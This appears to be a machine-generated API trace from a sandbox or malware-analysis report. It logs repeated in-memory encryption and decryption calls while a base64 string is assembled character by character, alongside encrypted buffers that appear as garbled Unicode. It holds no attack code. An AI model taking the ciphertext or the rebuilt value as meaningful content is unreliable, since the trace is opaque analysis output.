SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.818] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0250.818] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0250.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0250.818] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.819] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0250.819] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0250.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0250.819] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.819] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0250.819] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0250.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0250.819] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.819] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0250.819] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0250.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0250.819] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.820] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0250.820] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0250.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0250.820] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.820] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0250.820] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0250.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0250.820] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.820] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0250.820] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0250.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0250.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.821] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0250.821] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0250.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0250.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0250.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0250.822] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.822] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0250.822] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0250.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0250.822] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0250.823] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0250.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0250.823] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0250.823] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0250.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0250.823] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0250.823] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0250.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0250.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.824] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0250.824] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0250.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0250.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.824] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0250.824] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0250.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0250.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.825] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0250.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0250.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0250.825] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.825] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0250.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0250.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0250.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0250.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0250.826] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.826] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0250.826] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0250.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0250.826] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.826] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0250.826] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0250.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0250.827] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0250.827] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0250.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0250.827] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0250.827] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0250.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0250.827] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0250.827] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0250.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0250.828] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0250.828] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0250.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0250.828] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0250.828] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0250.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0250.828] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0250.829] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0250.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0250.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0250.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0250.829] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.829] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0250.829] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0250.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0250.830] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0250.830] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0250.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0250.830] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0250.830] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0250.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0250.830] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0250.830] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0250.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0250.831] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.831] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0250.831] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0250.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0250.831] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.831] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0250.831] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0250.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0250.831] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.832] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0250.832] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0250.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0250.832] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.832] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0250.832] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0250.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0250.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0250.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0250.833] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.833] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0250.833] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0250.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0250.833] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.833] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0250.833] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0250.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0250.833] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.834] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0250.834] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0250.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0250.834] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.834] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0250.834] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.834] EtwEventActivityIdControl () 